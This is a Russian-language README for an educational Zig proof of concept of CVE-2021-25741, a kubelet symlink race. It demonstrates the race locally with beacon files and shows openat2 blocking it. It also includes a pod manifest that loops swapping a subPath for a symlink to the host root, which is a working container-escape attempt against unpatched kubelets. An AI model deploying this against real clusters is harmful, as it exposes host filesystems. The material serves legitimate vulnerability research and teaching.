
CVE-2021-25741 POC in Zig
Образовательный эксплойт состояния гонки TOCTOU (Time Of Check, Time Of Use), которое лежит в основе CVE-2021-25741, уязвимости в kubelet Kubernetes.
Проект демонстрирует локально (без кластера K8s), как конкурентная подмена симлинка может обойти проверку пути между lstat() и open(), и доказывает, что openat2() с флагами RESOLVE_* является решением.
Когда ядро разрешает путь, например /a/b/c/file, оно делает это компонент за компонентом. На каждом шаге, если компонент является симлинком, ядро автоматически следует за ним. Это разрешение не атомарно — файловая система может измениться между двумя шагами.
kubelet Kubernetes в точности реализовывал этот уязвимый шаблон:
1. ПРОВЕРКА: lstat(subPath) → "это каталог, всё безопасно"
↕ ОКНО ГОНКИ — процесс в контейнере заменяет каталог на симлинк
2. ИСПОЛЬЗОВАНИЕ: mount(subPath) → следует за симлинком, монтирует файловую систему хоста
Между проверкой и монтированием вредоносный процесс в контейнере мог заменить subPath на симлинк, ведущий на / хоста, получив полный доступ к файловой системе хоста.
Системный вызов openat2 (ядро 5.6+) разрешает путь и открывает файл атомарно, с ограничениями:
С openat2 нет окна TOCTOU: если симлинк появляется во время разрешения, системный вызов немедленно завершается ошибкой.
Два потока взаимодействуют для эксплуатации окна TOCTOU:
workdir/
├── legit_dir/
│ └── secret.txt → содержит "LEGIT"
├── symlink_target/
│ └── secret.txt → содержит "PWNED"
└── target/ → переключается между реальным каталогом и симлинком
Бесконечно быстро переключает target/ между двумя состояниями с помощью renameat2(RENAME_EXCHANGE):
target/ — реальный каталог (содержит secret.txt = "LEGIT")target/ — симлинк на symlink_target/ (содержит secret.txt = "PWNED")Один системный вызов на переключение = максимальное окно гонки.
Воспроизводит уязвимый шаблон kubelet:
fstatat("target", AT_SYMLINK_NOFOLLOW) — проверяет, что это каталогopenat(dirfd, "target/secret.txt", O_RDONLY) — открывает файлread() — читает содержимое"PWNED" → race win (симлинк был использован)"LEGIT" → race loss (это был реальный каталог)В защищённом режиме (--use-openat2) шаг 3 использует openat2 с RESOLVE_NO_SYMLINKS | RESOLVE_BENEATH. Если присутствует симлинк, ядро возвращает ELOOP вместо того, чтобы следовать за ним.
src/
├── main.zig # Точка входа: разбор CLI, создание разделяемого состояния, запуск
│ # потоков, измерение времени, вывод результатов
│
├── racer.zig # Поток Racer: подготовка начального состояния (target → симлинк),
│ # затем цикл renameat2(RENAME_EXCHANGE) для непрерывного
│ # переключения target/ и legit_dir/
│
├── victim.zig # Поток Victim: цикл N итераций fstatat → задержка →
│ # openat/openat2 → read → сравнение "LEGIT" vs "PWNED"
│
├── setup.zig # Создание тестовой структуры: workdir/, legit_dir/,
│ # symlink_target/, target/ с файлами-маяками
│
├── syscalls.zig # Константы и обёртки для сырых системных вызовов:
│ # - структура open_how (UAPI ядра, 3×u64)
│ # - флаги RESOLVE_*
│ # - RENAME_EXCHANGE (= 2)
│ # - openat2() через linux.syscall4(.openat2, ...)
│ # - rename_exchange() через linux.renameat2()
│ # - Вспомогательные: is_err(), to_errno(), to_fd()
│
└── stats.zig # Атомарные счётчики без блокировок (std.atomic.Value(u64))
# для wins, losses, errors, eloop + форматированный вывод
Все системные вызовы вызываются напрямую через std.os.linux.* (без обёрток std.fs или std.posix). Единственный системный вызов без обёртки в стандартной библиотеке Zig 0.15 — это openat2, который вызывается через linux.syscall4(.openat2, ...) с вручную определённой структурой open_how из заголовков UAPI ядра.
| Инструмент | Версия | Зачем |
|---|---|---|
| Zig | 0.15.x | Компилятор + кросс-компиляция |
Бинарник компилируется в статически (musl libc) и работает на любом Linux без зависимостей.
Минимальное ядро:
renameat2(RENAME_EXCHANGE)openat2 с RESOLVE_* (требуется только для --use-openat2)Docker Desktop и colima на Mac используют ядро 6.x — всё поддерживается.
# ARM64 (Mac M1/M2/M3 → Docker colima / EC2 ARM)
zig build -Dtarget=aarch64-linux-musl -Doptimize=ReleaseSafe
# x86_64 (для узлов x86)
zig build -Dtarget=x86_64-linux-musl -Doptimize=ReleaseSafe
Бинарник находится в zig-out/bin/race-exploit.
$ file zig-out/bin/race-exploit
ELF 64-bit LSB executable, ARM aarch64, statically linked
# Запуск среды Docker (если macOS)
colima start
# Запуск эксплойта (по умолчанию уязвимый режим)
docker run --rm -v $(pwd)/zig-out/bin:/app alpine /app/race-exploit --iterations 10000
# Уязвимый режим (openat) — гонка работает
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
/app/race-exploit --iterations 10000
# Защищённый режим (openat2) — гонка заблокирована
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
/app/race-exploit --iterations 10000 --use-openat2
Или с помощью скрипта, запускающего оба режима:
./scripts/run_in_docker.sh --iterations 10000
Параметр --delay-us добавляет задержку между lstat (проверка) и openat (использование). Чем больше задержка, тем шире окно TOCTOU, и тем выше win rate:
# Без задержки — win rate ~25%
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
/app/race-exploit --iterations 50000
# 10µs — win rate ~35%
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
/app/race-exploit --iterations 50000 --delay-us 10
# 100µs — win rate ~50%
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
/app/race-exploit --iterations 50000 --delay-us 100
# 1000µs (1мс) — win rate ~50% (ограничен, racer переключается намного быстрее)
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
/app/race-exploit --iterations 10000 --delay-us 1000
В реальном kubelet задержка между проверкой subPath и bind-монтированием составляет несколько миллисекунд (вызовы API, подготовка пространства имён монтирования и т.д.), что делает гонку очень надёжной в реальных условиях.
race-exploit [options]
--iterations N Количество попыток (по умолчанию: 10000)
--delay-us N Микросекунды между lstat и open (по умолчанию: 0)
--use-openat2 Использовать openat2 с RESOLVE_* (защищённый режим)
--workdir PATH Рабочий каталог (по умолчанию: /tmp/race-workdir)
--help Показать справку
Эксплойту не нужен Kubernetes для работы — это фундаментальное состояние гонки Linux. Но вы можете запустить его на реальном узле, чтобы протестировать в тех же условиях, что и kubelet.
# Кросс-компиляция для архитектуры узла
# ARM64 (EKS с Graviton, GKE с T2A и т.д.)
zig build -Dtarget=aarch64-linux-musl -Doptimize=ReleaseSafe
# или x86_64
zig build -Dtarget=x86_64-linux-musl -Doptimize=ReleaseSafe
# Копирование бинарника на узел
scp zig-out/bin/race-exploit user@node:/tmp/
# Запуск на узле
ssh user@node /tmp/race-exploit --iterations 50000 --delay-us 100
# Проверка версии ядра (>= 5.6 для openat2)
ssh user@node uname -r
Создать под, который содержит бинарник и выполняет его:
# race-pod.yaml
apiVersion: v1
kind: Pod
metadata:
name: race-exploit
spec:
containers:
- name: race
image: alpine:latest
command: ["/app/race-exploit"]
args: ["--iterations", "50000", "--delay-us", "100"]
volumeMounts:
- name: exploit-bin
mountPath: /app
volumes:
- name: exploit-bin
hostPath:
path: /tmp # бинарник должен быть предварительно скопирован сюда
restartPolicy: Never
# Сначала скопировать бинарник на узел
kubectl cp zig-out/bin/race-exploit <node>:/tmp/race-exploit
# Запустить под
kubectl apply -f race-pod.yaml
kubectl logs race-exploit
Чтобы воспроизвести точный сценарий CVE-2021-25741, необходимо эксплуатировать гонку, пока kubelet подготавливает bind-монтирование тома с subPath:
# vulnerable-pod.yaml
apiVersion: v1
kind: Pod
metadata:
name: subpath-race
spec:
containers:
- name: attacker
image: alpine:latest
command: ["/bin/sh", "-c"]
args:
- |
# Этот скрипт работает в контейнере и переключает subPath,
# пока kubelet подготавливает монтирование
while true; do
rm -rf /vol/subdir
ln -s / /vol/subdir
mkdir -p /vol/subdir
done
volumeMounts:
- name: shared-vol
mountPath: /vol
subPath: subdir # ← kubelet проверяет, а затем монтирует этот путь
volumes:
- name: shared-vol
emptyDir: {}
Важно: эта атака работает только на неисправленных kubelet (версии < 1.22.2, < 1.21.5, < 1.20.11). Современные kubelet используют openat2 с RESOLVE_NO_SYMLINKS для разрешения subPath.
Чтобы проверить, уязвим ли ваш kubelet:
# Версия kubelet
kubectl get nodes -o wide
# Проверить, используется ли openat2 в kubelet (на узле)
ssh user@node strace -f -e trace=openat2 -p $(pidof kubelet) 2>&1 | head -20
CVE-2021-25741 TOCTOU Race Exploit
===================================
Mode: openat (vulnerable)
Iterations: 10000
Delay: 0us
---
Results:
Total attempts: 3749
Race wins: 940 (25.07%)
Race losses: 2809 (74.93%)
Errors: 0 (0.00%)
Duration: 14ms
CVE-2021-25741 TOCTOU Race Exploit
===================================
Mode: openat2 (protected)
Iterations: 10000
Delay: 0us
---
Results:
Total attempts: 3105
Race wins: 0 (0.00%)
Race losses: 2283 (73.53%)
Errors: 0 (0.00%)
ELOOP (blocked): 822 (26.47%)
Duration: 12ms
Ключевые наблюдения:
openat ~25% попыток приводят к win (прочитан файл "PWNED")openat2 0% wins — каждая попытка, когда racer переключил, обнаруживается ядром, которое возвращает ELOOPФайл определяет константы, отсутствующие в стандартной библиотеке Zig 0.15:
// renameat2(2): атомарная замена двух записей файловой системы
pub const RENAME_EXCHANGE: u32 = 2;
// openat2(2): структура, передаваемая в системный вызов
pub const open_how = extern struct {
flags: u64 = 0, // O_RDONLY, O_WRONLY и т.д.
mode: u64 = 0, // права доступа (если O_CREAT)
resolve: u64 = 0, // флаги RESOLVE_*
};
// Флаги разрешения для open_how.resolve
pub const RESOLVE_NO_SYMLINKS: u64 = 0x04; // запретить все симлинки
pub const RESOLVE_BENEATH: u64 = 0x08; // запретить выход за пределы dirfd
openat2 вызывается через linux.syscall4(.openat2, ...), потому что Zig 0.15 имеет номер системного вызова, но не имеет обёртки.
При запуске он превращает target/ в симлинк на symlink_target/, а затем циклически выполняет два renameat2(RENAME_EXCHANGE), которые переключают target и legit_dir:
Итерация 1: target=dir, legit_dir=symlink ← victim видит каталог, открывает нормально
Итерация 2: target=symlink, legit_dir=dir ← victim следует за симлинком → PWNED
Воспроизводит lstat → задержка → openat/openat2 → read → сравнение. Результаты подсчитываются в атомарных счётчиках без блокировок (fetchAdd с ordering .monotonic).
Создаёт дерево с помощью mkdirat, openat(O_CREAT) и write — все через сырые системные вызовы. Два файла-маяка: "LEGIT" в реальном каталоге, "PWNED" в цели симлинка.
# Трассировка всех системных вызовов обоих потоков
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
strace -f /app/race-exploit --iterations 100
# Фильтрация интересующих системных вызовов
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
strace -f -e trace=openat,renameat2,symlinkat,newfstatat \
/app/race-exploit --iterations 100
# Просмотр ELOOP от openat2
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
strace -f -e trace=openat2 \
/app/race-exploit --iterations 100 --use-openat2
Примечание: strace не установлен по умолчанию в Alpine. Используйте alpine:edge или установите с помощью apk add strace:
docker run --rm -v $(pwd)/zig-out/bin:/app alpine:edge \
sh -c "apk add --no-cache strace && strace -f -e trace=openat,renameat2 /app/race-exploit --iterations 100"
| Флаг | Эффект |
|---|
RESOLVE_NO_SYMLINKS | Отказывается следовать любым симлинкам → возвращает ELOOP |
RESOLVE_BENEATH | Запрещает выход за пределы базового каталога → возвращает EXDEV |
RESOLVE_IN_ROOT | Обрабатывает dirfd как корень файловой системы |
RESOLVE_NO_XDEV | Запрещает пересечение точек монтирования |
| Docker | любая | Для запуска Linux-бинарника на Mac |
| colima | любая | Среда выполнения Docker на macOS (или Docker Desktop) |
| Системный вызов | Роль в эксплойте | Обёртка Zig |
|---|
renameat2(RENAME_EXCHANGE) | Атомарное переключение target ↔ legit_dir | linux.renameat2() |
fstatat(AT_SYMLINK_NOFOLLOW) | lstat: проверка, является ли target каталогом или симлинком | linux.fstatat() |
openat(O_RDONLY) | Открытие файла с следованием симлинкам (уязвимо) | linux.openat() |
openat2(RESOLVE_NO_SYMLINKS) | Открытие файла с запретом симлинков (исправление) | linux.syscall4(.openat2, ...) |
symlinkat | Создание начального симлинка target → symlink_target | linux.symlinkat() |
unlinkat | Удаление target перед повторным созданием как симлинка | linux.unlinkat() |
mkdirat | Создание тестовых каталогов | linux.mkdirat() |
read / write / close | Ввод-вывод файлов-маяков | linux.read() / linux.write() / linux.close() |